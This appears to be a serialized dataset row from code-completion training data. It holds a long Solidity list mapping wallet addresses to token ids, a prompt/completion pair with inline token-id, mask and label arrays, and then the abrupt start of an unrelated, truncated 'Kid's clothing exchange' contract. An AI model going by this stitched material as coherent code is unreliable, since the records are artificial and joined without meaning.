claimers[0x85d03E980A35517906a3665866E8a255C0212918] = 519; // seq: 518 -> tkn_id: 519
claimers[0x02A325603C41c24E1897C74840B5C78950223366] = 520; // seq: 519 -> tkn_id: 520
claimers[0xF2CA16da81687313AE2d8d3DD122ABEF11e1f68f] = 521; // seq: 520 -> tkn_id: 521
claimers[0xba028A2a6097f7Da63866965B7f045F166aeB958] = 522; // seq: 521 -> tkn_id: 522
claimers[0x787Efe41F4C940bC8c2a0D2B1877B7Fb71bC7c04] = 523; // seq: 522 -> tkn_id: 523
claimers[0xA368bae3df1107cF22Daf0a79761EF94656D789A] = 524; // seq: 523 -> tkn_id: 524
claimers[0x67ffa298DD79AE9de27Fd63e99c15716ddc93491] = 525; // seq: 524 -> tkn_id: 525
claimers[0xD79B70C1D4Ab78Cd97d53508b5CBf0D573728980] = 526; // seq: 525 -> tkn_id: 526
claimers[0x8aA79517903E473c548A36d80f54b7669056249a] = 527; // seq: 526 -> tkn_id: 527
claimers[0xaEC4a7621BEA9F03B9A893d61e6e6EA91b33c395] = 528; // seq: 527 -> tkn_id: 528
claimers[0xF6614172a85D7cB91327bd11e4884d3C76042580] = 529; // seq: 528 -> tkn_id: 529
claimers[0x8F1B34eAF577413db89889beecdb61f4cc590aC2] = 530; // seq: 529 -> tkn_id: 530
claimers[0xD85bc15495DEa1C510fE41794d0ca7818d8558f0] = 531; // seq: 530 -> tkn_id: 531
claimers[0x85b931A32a0725Be14285B66f1a22178c672d69B] = 532; // seq: 531 -> tkn_id: 532
claimers[0xCDCaDF2195c1376f59808028eA21630B361Ba9b8] = 533; // seq: 532 -> tkn_id: 533
claimers[0x32527CA6ec2B85AbaCA0fb2dd3878e5b7Bb5b370] = 534; // seq: 533 -> tkn_id: 534
claimers[0xe3fa3aefD1f122e2228fFE79EE36685215A05BCa] = 535; // seq: 534 -> tkn_id: 535
claimers[0x7AE29F334D7cb67b58df5aE2A19F360F1Fd3bE75] = 536; // seq: 535 -> tkn_id: 536
claimers[0xF29919b09037036b6f10aD7C41ADCE8677BE2F54] = 537; // seq: 536 -> tkn_id: 537
claimers[0x328824B1468f47163787d0Fa40c44a04aaaF4fD9] = 538; // seq: 537 -> tkn_id: 538
claimers[0x4d4180739775105c82627CCbf043d6d32e746dee] = 539; // seq: 538 -> tkn_id: 539
claimers[0x6372b52593537A3Be2F3752110cb709e6f213241] = 540; // seq: 539 -> tkn_id: 540
claimers[0x75187bA60caFC4A2Cb057aADdD5c9FdAc3896Cee] = 541; // seq: 540 -> tkn_id: 541
claimers[0xf5503988423F65b1d5F2263d33Ab161E889103EB] = 542; // seq: 541 -> tkn_id: 542
claimers[0x76b2e65407e9f24cE944B62DB0c82e4b61850233] = 543; // seq: 542 -> tkn_id: 543
claimers[0xDd6177ba0f8C5F15DB178452585BB52A7b0C9Aee] = 544; // seq: 543 -> tkn_id: 544
claimers[0x3017dC24849823c81c43b6F8288bC85D6214FD7E] = 545; // seq: 544 -> tkn_id: 545
claimers[0xdf59a1d81880bDE9175c3B766c3e95bEd21c3670] = 546; // seq: 545 -> tkn_id: 546
claimers[0x2A716b58127BC4341231833E3A586582b07bBB22] = 547; // seq: 546 -> tkn_id: 547
claimers[0x15c5F3a14d4492b1a26f4c6557251a6F247a2Dd5] = 548; // seq: 547 -> tkn_id: 548
claimers[0x239af5a76A69de3F13aed6970fdF37bf86e8FEB7] = 549; // seq: 548 -> tkn_id: 549
claimers[0xCF6E7e0676f5AC61446F6865e26a0f34bb86A622] = 550; // seq: 549 -> tkn_id: 550
claimers[0xfb580744F1fDc4fEb83D9846E907a63Aa94979bd] = 551; // seq: 550 -> tkn_id: 551
claimers[0x3de1820D8d3B7f6C61C34dfD74F941c88cb27143] = 552; // seq: 551 -> tkn_id: 552
claimers[0xDFfF9Df5665BD156ECc71769103C72D8D167E30b] = 553; // seq: 552 -> tkn_id: 553
claimers[0xf4775496624C382f74aDbAE79C5780F353B1f83B] = 554; // seq: 553 -> tkn_id: 554
claimers[0xd1f157e1798D20F905e8391e3AcC2351bd9873Ff] = 555; // seq: 554 -> tkn_id: 555
claimers[0x2BcfEC37A16eb258d641812A308edEc5B80b32C1] = 556; // seq: 555 -> tkn_id: 556
claimers[0xD7CE5Cec413cC35edc293BD0e9D6204bEb91a470] = 557; // seq: 556 -> tkn_id: 557
claimers[0xC195a064BE7Ac37702Cd8FBcE4d71b57111d559b] = 558; // seq: 557 -> tkn_id: 558
claimers[0xc148113F6508589538d65B29426331A12B04bC6C] = 559; // seq: 558 -> tkn_id: 559
claimers[0x687922176D1BbcBcdC295E121BcCaA45A1f40fCd] = 560; // seq: 559 -> tkn_id: 560
claimers[0xba5270bFd7245C37db5e9Bb5fC18A68b8cA622F8] = 561; // seq: 560 -> tkn_id: 561
claimers[0x2022e7E902DdF290B70AAF5FB5D777E7840Fc9D3] = 562; // seq: 561 -> tkn_id: 562
claimers[0x676be4D726F6e648cC41AcF71b3d099dC65242f3] = 563; // seq: 562 -> tkn_id: 563
claimers[0xCbBdE3eeb1005A8be374C0eeB9c02e0e33Ac4629] = 564; // seq: 563 -> tkn_id: 564
claimers[0xaf636e6585a1cD5CDD23A75d32cbd57e6D836dA6] = 565; // seq: 564 -> tkn_id: 565
claimers[0x7dE08dAb472F16F6713bD30B1B1BCd29FA7AC68c] = 566; // seq: 565 -> tkn_id: 566
claimers[0xc8fa8A80D241a06CB53d61Ceacce0d1a8715Bc2f] = 567; // seq: 566 -> tkn_id: 567
claimers[0xA661Ff505C9Be09C08341666bbB32c46a80Fe996] = 568; // seq: 567 -> tkn_id: 568
claimers[0x934Cc457EDC4b58b105188C3ECE78c7b2EE65d80] = 569; // seq: 568 -> tkn_id: 569
claimers[0xFF4a498B23f2E3aD0A5eBEd838F07F30Ab4dC800] = 570; // seq: 569 -> tkn_id: 570
claimers[0xf75b052036dB7d90D18C10C06d3535F0fc3A4b74] = 571; // seq: 570 -> tkn_id: 571
claimers[0x8f2a707153378551c450Ec28B29c72C0B97664FC] = 572; // seq: 571 -> tkn_id: 572
claimers[0x77167885E8393f1052A8cE8D5dfF2fF16c08f98d] = 573; // seq: 572 -> tkn_id: 573
claimers[0x186D482EB263492318Cd470f3e4C0cf7705b3963] = 574; // seq: 573 -> tkn_id: 574
claimers[0x0736C28bd6186Cc899F72aB3f68f542bC2479d90] = 575; // seq: 574 -> tkn_id: 575
claimers[0x5E6DbCb38555ec7B4c5C12F19144736010335d26] = 576; // seq: 575 -> tkn_id: 576
claimers[0xd85d3AcC28A235f9128938B99E26747dB0ba655D] = 577; // seq: 576 -> tkn_id: 577
claimers[0x812E1eeE6D76e2F3490a8C29C0CC9e38D71a1a4f] = 578; // seq: 577 -> tkn_id: 578
claimers[0x66D61B6BEb130197E8194B072215d9aE9b36e14d] = 579; // seq: 578 -> tkn_id: 579
claimers[0x36986961cc3037E40Ef6f01A7481941ed08aF566] = 580; // seq: 579 -> tkn_id: 580
claimers[0xB6ea652fBE96DeddC5fc7133C208D024f3CFFf5a] = 581; // seq: 580 -> tkn_id: 581
claimers[0x2F86c6e97C4E2d03939AfE7452448bD96b681938] = 582; // seq: 581 -> tkn_id: 582
claimers[0x6F36a7E4eA93aCbF753397C96DaBacD45ba88175] = 583; // seq: 582 -> tkn_id: 583
claimers[0x6394e38E5Fe6Fb9de9B2dD267F257035fe72a315] = 584; // seq: 583 -> tkn_id: 584
claimers[0xeE74a1e81B6C55e3D02D05D7CaE9FD6BCee0E651] = 585; // seq: 584 -> tkn_id: 585
claimers[0x9A7797Cf292579065CC204C5c975E0E7E9dF66f7] = 586; // seq: 585 -> tkn_id: 586
claimers[0xf50E61952aC37fa5DD770657326A5FBDB18cB694] = 587; // seq: 586 -> tkn_id: 587
claimers[0x0B60fF27655bCd5E9444c5D1865ec8CD3B403146] = 588; // seq: 587 -> tkn_id: 588
claimers[0x35f382D9daA602A23AD988D5bf837B8e6A01d002] = 589; // seq: 588 -> tkn_id: 589
claimers[0xFF7C32e9D881e6cabBCE7C0C17564F54260C3872] = 590; // seq: 589 -> tkn_id: 590
claimers[0xdE437ad59B5fcad477eB90a4742916FD04c0193e] = 591; // seq: 590 -> tkn_id: 591
claimers[0xB9f2946b6f35d8BB4a1522e7628F24416947ddda] = 592; // seq: 591 -> tkn_id: 592
claimers[0x67AE8A6e6587e6219141dC5a5BE35f30Beb30C50] = 593; // seq: 592 -> tkn_id: 593
claimers[0x04b5b1906745FE9E501C10B3191118FA76CD76Ba] = 594; // seq: 593 -> tkn_id: 594
claimers[0xc793B339FC99A912d8c4c420f55023e072Dc4A08] = 595; // seq: 594 -> tkn_id: 595
claimers[0x024713784f675dd28b5CE07dB91a4d47213c2394] = 596; // seq: 595 -> tkn_id: 596
claimers[0xE9011643a76aC1Ee4BDb32242B28424597C724A2] = 597; // seq: 596 -> tkn_id: 597
claimers[0xFA3ed3EDd606157c2FD49c900a0B1fE867b96d78] = 598; // seq: 597 -> tkn_id: 598
claimers[0xEb06301D471b0F8C8C5CC965B09Ce0B85021D398] = 599; // seq: 598 -> tkn_id: 599
claimers[0x57985E22ae7906cC693b44cC16473643F294Ff07] = 600; // seq: 599 -> tkn_id: 600
claimers[0x3ef7Bf350074EFDE3FD107ce38e652a10a5750f5] = 601; // seq: 600 -> tkn_id: 601
claimers[0xAA5990c918b845EE54ade1a962aDb9ddfF17D20A] = 602; // seq: 601 -> tkn_id: 602
claimers[0x7Ff698e124d1D14E6d836aF4dA0Ae448c8FfFa6F] = 603; // seq: 602 -> tkn_id: 603
claimers[0x95351210cf4F6270aaD413d5A2E07256a005D9B3] = 604; // seq: 603 -> tkn_id: 604
claimers[0x2aE024C5EE8dA720b9A51F50D53a291aca37dEb1] = 605; // seq: 604 -> tkn_id: 605
claimers[0xe0dAA80c1fF85fd070b561ef44cC7637059E5e57] = 606; // seq: 605 -> tkn_id: 606
claimers[0xD64212269c456D61bCA45403c4B93A2a57B7510E] = 607; // seq: 606 -> tkn_id: 607
claimers[0xC3A9eB254C875750A83750d1258220fA8a729F89] = 608; // seq: 607 -> tkn_id: 608
claimers[0x07b678695690183C644fEb37d9E95eBa4eFe53A8] = 609; // seq: 608 -> tkn_id: 609
claimers[0x4334c48D71b8D03799487a601509ac137b29904B] = 610; // seq: 609 -> tkn_id: 610
claimers[0xea2D190cBb3Be5074E9E144EDE095f059eDB7E53] = 611; // seq: 610 -> tkn_id: 611
claimers[0x93973b0dc20bEff165C087cB2A319640C210f30e] = 612; // seq: 611 -> tkn_id: 612
claimers[0x8015eA3DA10b9960378CdF6d529EBf19553c112A] = 613; // seq: 612 -> tkn_id: 613
claimers[0xE40Cc4De1a57e83AAc249Bb4EF833B766f26e2F2] = 614; // seq: 613 -> tkn_id: 614
claimers[0xdD2B93A4F52C138194C10686f175df55db690117] = 615; // seq: 614 -> tkn_id: 615
claimers[0x2EF48fA1785aE0C24fd791c1D7BAaf690d153793] = 616; // seq: 615 -> tkn_id: 616
claimers[0x2044E9cF4a61D4a49C73800168Ecfd8Bd19550c4] = 617; // seq: 616 -> tkn_id: 617
claimers[0xF6711aFF1462fd2f477769C2d442Cf2b10597C6D] = 618; // seq: 617 -> tkn_id: 618
claimers[0xf9F49E8B93f60535852A91FeE294fF6c4D460035] = 619; // seq: 618 -> tkn_id: 619
claimers[0x61b3c4c9dc16B686eD396319D48586f40c1F74E9] = 620; // seq: 619 -> tkn_id: 620
claimers[0x348F0cE2c24f14EfC18bfc2B2048726BDCDB759e] = 621; // seq: 620 -> tkn_id: 621
claimers[0x32f8E5d3F4039d1DF89B6A1e544288289A500Fd1] = 622; // seq: 621 -> tkn_id: 622
claimers[0xaF997affb94c5Ca556b28b024E162AA3164f4A43] = 623; // seq: 622 -> tkn_id: 623
claimers[0xb20Ce1911054DE1D77E1a66ec402fcB3d06c06c2] = 624; // seq: 623 -> tkn_id: 624
claimers[0xB83FC0c399e46b69e330f19baEB87B6832Ec890d] = 625; // seq: 624 -> tkn_id: 625
claimers[0x01B9b335Bb0D8Ff543f54eb9A59Ba57dBEf7A93B] = 626; // seq: 625 -> tkn_id: 626
claimers[0x2CC7dA5EF8fd01f4a7cD03E785A01941F28fE8da] = 627; // seq: 626 -> tkn_id: 627
claimers[0x46f75A3e9702d89E3E269361D9c1e4D2A9779044] = 628; // seq: 627 -> tkn_id: 628
claimers[0x7AEBDD84821190c1cfCaCe051E87913ae5d67439] = 629; // seq: 628 -> tkn_id: 629
claimers[0xE94F4519Ed1670123714d8f67B3A144Bf089f594] = 630; // seq: 629 -> tkn_id: 630
claimers[0xf10367decc6F0e6A12Aa14E7512AF94a4C791Fd7] = 631; // seq: 630 -> tkn_id: 631
claimers[0x49BA4256FE65b833b3dA9c26aA27E1eFD74EFD1d] = 632; // seq: 631 -> tkn_id: 632
claimers[0x33BE249B512DCb6D2FC7586047ab0220397aF2d3] = 633; // seq: 632 -> tkn_id: 633
claimers[0x07b449319D200b1189406c58967348c5bA0D4083] = 634; // seq: 633 -> tkn_id: 634
claimers[0x9B6498Ef7F47223f5F7d466FC4D26c570C7b375F] = 635; // seq: 634 -> tkn_id: 635
claimers[0xA40F625ce8e06Db1C41Bb7F8854C7d57644Ff9Cc] = 636; // seq: 635 -> tkn_id: 636
claimers[0x28864AF76e73B38e2C9D4e856Ea97F66947961aB] = 637; // seq: 636 -> tkn_id: 637
claimers[0x4aC4Ab29F4A87150D89D3fdd5cbC46112606E5e8] = 638; // seq: 637 -> tkn_id: 638
claimers[0x9D29BBF508cDf300D116FCA3cE3cd9d287850ccd] = 639; // seq: 638 -> tkn_id: 639
claimers[0xcC5Fb93A6e274Ac3C626a02B24F939b1307b46e1] = 640; // seq: 639 -> tkn_id: 640
claimers[0x0E590293aD7CB2Dd9968B7f16eac9614451A63E1] = 641; // seq: 640 -> tkn_id: 641
claimers[0x726d54570632b30c957E60CFf44AD4eE2b559dB6] = 642; // seq: 641 -> tkn_id: 642
claimers[0xE2927F7f6618E71A86CE3F8F5AC32B5BbFe163a6] = 643; // seq: 642 -> tkn_id: 643
claimers[0x3C7DEd16d0E5b5bA9fb3DE539ed28cb7B7D8C95C] = 644; // seq: 643 -> tkn_id: 644
claimers[0xB7c3A0928c06A80DC4A4CDc9dC0aec33E047A4c8] = 645; // seq: 644 -> tkn_id: 645
claimers[0x95f26898b144FF93283d38d0B1A92b69f90d3123] = 646; // seq: 645 -> tkn_id: 646
claimers[0x95a788A34b7781eF34660196BB615A97F7e7d2B8] = 647; // seq: 646 -> tkn_id: 647
claimers[0x317EA9Dd8fCac5A6Fd94eB2959FeC690931b61b8] = 648; // seq: 647 -> tkn_id: 648
claimers[0x2CE83785eD44961959bf5251e85af897Ba9ddAC7] = 649; // seq: 648 -> tkn_id: 649
claimers[0xE144E7e3948dCA4AD395794031A0289a83b150A0] = 650; // seq: 649 -> tkn_id: 650
claimers[0x18668B0244949570ec637465BAFdDe4d082afa69] = 651; // seq: 650 -> tkn_id: 651
claimers[0xaba035729057984c7431a711436D3e51e947cbD4] = 652; // seq: 651 -> tkn_id: 652
claimers[0x2519410f255A52CDF22a7DFA870073b1357B30A7] = 653; // seq: 652 -> tkn_id: 653
claimers[0x63a12D51Ee95eF213404308e1F8a2805A0c21899] = 654; // seq: 653 -> tkn_id: 654
claimers[0x882bBB07991c5c2f65988fd077CdDF405FE5b56f] = 655; // seq: 654 -> tkn_id: 655
claimers[0x11f53fdAb3054a5cA63778659263aF0838b642b1] = 656; // seq: 655 -> tkn_id: 656
claimers[0x093E088901909dEecC1b4a1479fBcCE1FBEd31E7] = 657; // seq: 656 -> tkn_id: 657
claimers[0x3c5cBddC5D6D6720d51CB563134d72E20dc4C713] = 658; // seq: 657 -> tkn_id: 658
claimers[0x3Db111A09A2e77A8DD6d03dc3f089f4A0F4557E9] = 659; // seq: 658 -> tkn_id: 659
claimers[0x8F53cA524c1451A930DEA18926df964Fb72B10F1] = 660; // seq: 659 -> tkn_id: 660
claimers[0x22C535D5EccCF398997eabA19Aa3FAbd3fe6AA16] = 661; // seq: 660 -> tkn_id: 661
claimers[0x93dF35071B3bc1B6d16D5f5F20fbB2be9D50FE67] = 662; // seq: 661 -> tkn_id: 662
claimers[0xfE61D830b99E40b3E905CD7EcF4a08DD06fa7F03] = 663; // seq: 662 -> tkn_id: 663
claimers[0x9cB5FAF0801ac959a0d40b2A7D69Ed8E42F792eA] = 664; // seq: 663 -> tkn_id: 664
claimers[0xC5B0f2afEC01807D964D76aEce6dB2F093239619] = 665; // seq: 664 -> tkn_id: 665
claimers[0x9b279dbaB2aE483EEDD106a583ACbBCFd722CE79] = 666; // seq: 665 -> tkn_id: 666
claimers[0x429c74f7C7fe7d31a70289e9B4b54e0F7300f376] = 667; // seq: 666 -> tkn_id: 667
claimers[0xeD08e8D72D35428b28390B7334ebe7F9f7a64822] = 668; // seq: 667 -> tkn_id: 668
claimers[0xB468076716C800Ce1eB9e9F515488099cC838128] = 669; // seq: 668 -> tkn_id: 669
claimers[0x3D7A35c89f04Af71F453b33848B49714859D061c] = 670; // seq: 669 -> tkn_id: 670
claimers[0x7DcE9e613b3583C600255A230497DD77429b0e21] = 671; // seq: 670 -> tkn_id: 671
claimers[0x2B00CaD253E88924290fFC7FeE221D135A0f083a] = 672; // seq: 671 -> tkn_id: 672
claimers[0xA2A64dE6BEe8c68DBCC948609708Ae54801CBAd8] = 673; // seq: 672 -> tkn_id: 673
claimers[0x6F255406306D6D78e97a29F7f249f6d2d85d9801] = 674; // seq: 673 -> tkn_id: 674
claimers[0xcDaf4c2e205A8077F29BF1dfF9Bd0B6a501B72cB] = 675; // seq: 674 -> tkn_id: 675
claimers[0xC45bF67A729B9A2b98521CDbCbf8bc70d8b81af3] = 676; // seq: 675 -> tkn_id: 676
claimers[0x35205135F0883e6a59aF9cb64310c53003433122] = 677; // seq: 676 -> tkn_id: 677
claimers[0xbAFcFC93A2fb6a042CA87f3d70670E2c114CE9fd] = 678; // seq: 677 -> tkn_id: 678
claimers[0xf664D1363FcE2da5ebb9aA935ef11Ce07be012Db] = 679; // seq: 678 -> tkn_id: 679
claimers[0x57e7ce99461FDeA80Ae8a6292e58AEfe053ed3a3] = 680; // seq: 679 -> tkn_id: 680
claimers[0xbD0Ad704f38AfebbCb4BA891389938D4177A8A92] = 681; // seq: 680 -> tkn_id: 681
claimers[0x0962FEeC7d4f0fa0EBadf6cd2e1CB783103B41F4] = 682; // seq: 681 -> tkn_id: 682
claimers[0x9B89f9Fd0952009fd556b19B18d85dA1089D005C] = 683; // seq: 682 -> tkn_id: 683
claimers[0xa511CB01cCe9c221cC73a9f9231937Cf6baf1D1A] = 684; // seq: 683 -> tkn_id: 684
claimers[0x79e5c907b9d4Af5840C687e6975a1C530895454a] = 685; // seq: 684 -> tkn_id: 685
claimers[0xf782f0Bf9B741FdE0E7c7dA4f71c7E33554f8397] = 686; // seq: 685 -> tkn_id: 686
claimers[0x228Bb6C83e8d0767eD342dd333DDbD55Ad217a3D] = 687; // seq: 686 -> tkn_id: 687
claimers[0xf2f62B5C7B3395b0ACe219d1B91D8083f8394720] = 688; // seq: 687 -> tkn_id: 688
claimers[0x2A77484F4cca78a5B3f71c22A50e3A1b8583072D] = 689; // seq: 688 -> tkn_id: 689
claimers[0xbB85877c4AEa11A141FC107Dc8D2E43C4B04F8C8] = 690; // seq: 689 -> tkn_id: 690
claimers[0x0414B2A60f8d4b84dE036677f8780F59AFEc1b65] = 691; // seq: 690 -> tkn_id: 691
claimers[0xb3aA296e046E0EFBd734cfa5DCd447Ae3a5e6104] = 692; // seq: 691 -> tkn_id: 692
claimers[0xa6700EA3f19830e2e8b35363c2978cb9D5630303] = 693; // seq: 692 -> tkn_id: 693
claimers[0xF976106afd7ADE91F8dFc5167284AD57795b17B1] = 694; // seq: 693 -> tkn_id: 694
claimers[0x793E446AFFf802e20bdb496A64250622BE32Df29] = 695; // seq: 694 -> tkn_id: 695
claimers[0x2E72d671fa07be54ae9671f793895520268eF00E] = 696; // seq: 695 -> tkn_id: 696
claimers[0xB67c99dfb3422b61f9E38070f021eaB7B42e9CAF] = 697; // seq: 696 -> tkn_id: 697
claimers[0x0095D1f7804D32A7921b26D3Eb1229873D3B11E0] = 698; // seq: 697 -> tkn_id: 698
claimers[0xEf31D013E222AaD9Eb90df9fd466c758B7603FaB] = 699; // seq: 698 -> tkn_id: 699
claimers[0x9936f05D5cE4259D44Aa51d54c0C245652efcc11] = 700; // seq: 699 -> tkn_id: 700
claimers[0x58bb897f0612235FA7Ae324F9b9718a06A2f6df3] = 701; // seq: 700 -> tkn_id: 701
claimers[0xa2cF94Bf60B6a6C08488B756E6695d990574e9C7] = 702; // seq: 701 -> tkn_id: 702
claimers[0x47754f6dCb011A308c91a666c5245abbC577c9eD] = 703; // seq: 702 -> tkn_id: 703
claimers[0xB6a95916221Abef28339594161cd154Bc650c515] = 704; // seq: 703 -> tkn_id: 704
claimers[0xb0471Ad0fEFD2151Efaa6C8415b1dB984526c0a6] = 705; // seq: 704 -> tkn_id: 705
claimers[0xC869ce145a5a72985540285Efde28f5176F39bC9] = 706; // seq: 705 -> tkn_id: 706
claimers[0x79440849d5BA6Df5fb1F45Ff36BE3979F4271fa4] = 707; // seq: 706 -> tkn_id: 707
claimers[0xD54F610d744b64393386a354cf1ADD944cBD42c9] = 708; // seq: 707 -> tkn_id: 708
claimers[0x3b368E77F110e3FE1C8482F395E51D1f75e50e5f] = 709; // seq: 708 -> tkn_id: 709
claimers[0x529ccAFA5aC0d18E7402244859AF8664BA736919] = 710; // seq: 709 -> tkn_id: 710
claimers[0x686241b898D7616FF78e22cc45fb07e92A74B7B5] = 711; // seq: 710 -> tkn_id: 711
claimers[0xd859ad8D8DCA1eEC61529833685FE59FAb804E7d] = 712; // seq: 711 -> tkn_id: 712
claimers[0x5AbfC4E2bB4941BD6773f120573618Ba8a4f7863] = 713; // seq: 712 -> tkn_id: 713
claimers[0x17c1cF2eeFda3f339996c67cd18d4389D132D033] = 714; // seq: 713 -> tkn_id: 714
claimers[0x6Ce5B05f0C6A8129DE3C7fC3E69ca35Be3ECB35e] = 715; // seq: 714 -> tkn_id: 715
claimers[0x4B992870CF27A548921082be7B447fc3c0534509] = 716; // seq: 715 -> tkn_id: 716
claimers[0xa278039DEE9B1fC58164Ef7B6f5eC86de9786178] = 717; // seq: 716 -> tkn_id: 717
claimers[0xBa64c61B45340994bABF676544025BcCc0bE6A9e] = 718; // seq: 717 -> tkn_id: 718
claimers[0x3656f4d852f15986beBE025AEF64a40dF2A5d4a1] = 719; // seq: 718 -> tkn_id: 719
claimers[0x4A57385D14882d6d8FDB3916792E9585102d22DA] = 720; // seq: 719 -> tkn_id: 720
claimers[0x764108BAcf10e30F6f249d17E7612fB9008923F0] = 721; // seq: 720 -> tkn_id: 721
claimers[0x880BD9ec1d3b71Bda5249baCCC63E9a8e5902250] = 722; // seq: 721 -> tkn_id: 722
claimers[0x1195e87Ca87C8f5989ecBa2d569E64784E5820f9] = 723; // seq: 722 -> tkn_id: 723
claimers[0x8591D21143794463A69017944F555E272965db06] = 724; // seq: 723 -> tkn_id: 724
claimers[0x032c255E5a84C2E8Ca242f85098988D69b982E85] = 725; // seq: 724 -> tkn_id: 725
claimers[0xFD9bCD1F71Cb016079077F659Ee99f8AD834732A] = 726; // seq: 725 -> tkn_id: 726
claimers[0x6Be049Bb4688dFf540E7798433c925E21c70Ac25] = 727; // seq: 726 -> tkn_id: 727
claimers[0xFbFB1aD08f5d60d0243CC88E1EDf9eD5875d2EFe] = 728; // seq: 727 -> tkn_id: 728
claimers[0xeBe91f187bF0b29185a8e4A362392Aa3665030a1] = 729; // seq: 728 -> tkn_id: 729
claimers[0xF6666FCE84FDe632f33c1A881b6AC2C0f545D271] = 730; // seq: 729 -> tkn_id: 730 | seq: 714 -> tkn_id: 715
| claimers[0x6Ce5B05f0C6A8129DE3C7fC3E69ca35Be3ECB35e] = 715; | 12,655,210 | [
1,
5436,
30,
2371,
3461,
317,
13030,
82,
67,
350,
30,
2371,
3600,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
14784,
414,
63,
20,
92,
26,
39,
73,
25,
38,
6260,
74,
20,
39,
26,
37,
28,
24886,
1639,
23,
39,
27,
74,
39,
23,
41,
8148,
5353,
4763,
1919,
23,
7228,
38,
4763,
73,
65,
273,
2371,
3600,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
pragma solidity 0.8.10;
/// @title Kid's clothing exchange
/// @author Daniel Martinez
/// @notice This contract is a proof of concept
/// @custom:experimental This is an experimental contract.
contract ClothingExchange is AccessControl {
AggregatorV3Interface internal priceFeed;
/// @dev Open zeppelin role definition
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
/// @dev All the states of an order (a cloth)
enum State {
EMPTY,
LISTED,
SOLD,
SHIPPED,
RECEIVED
}
/// @dev All the sizes of a cloth
enum Sizes {
SMALL,
MEDIUM,
LARGE,
XLARGE
}
/// @dev The number of added clothes to the mapping
uint public clothingCounter;
/// @dev Limit the number of buyers that can bargain a garment
uint public constant BARGAIN_ADDRESS_LIMIT = 5;
/// @dev The clothing struct that defines all the properties of the cloth
struct Cloth {
uint clothId;
string name;
uint initialPrice;
string description;
string brand;
Sizes size;
string recommendedAge;
State state;
address payable seller;
address payable buyer;
mapping (address => uint) tempPrice;
uint tempPriceCounter;
uint agreedPrice;
address[] tempPriceAddresses;
}
/// @dev A tracking numbers mapping to associate a tracking number to a cloth
mapping (uint => string) public trackingNumbers;
/// @dev Clothing mapping that handles all the clothes
mapping (uint => Cloth) public clothing;
/// @notice Validates that the sender is the owner
modifier isOwner () {
require (hasRole(ADMIN_ROLE, msg.sender), "Is not owner");
_;
}
/// @notice Validates the price to be greater than zero
/// @param _price The cloth price
modifier validPrice (uint _price) {
require (_price > 0, "Price must be greater than 0");
_;
}
/// @notice Validates the listed state
/// @param clothId The cloth id
modifier isListed (uint clothId) {
require (clothing[clothId].state == State.LISTED);
_;
}
/// @notice Validates the limit of addresses that can make a new offer
/// @param tempPriceAddresses Array of address that can make an offer
modifier canBargain (address[] memory tempPriceAddresses) {
require (tempPriceAddresses.length <= BARGAIN_ADDRESS_LIMIT);
_;
}
/// @notice Validates the sold state
/// @param clothId The cloth id
modifier isSold (uint clothId) {
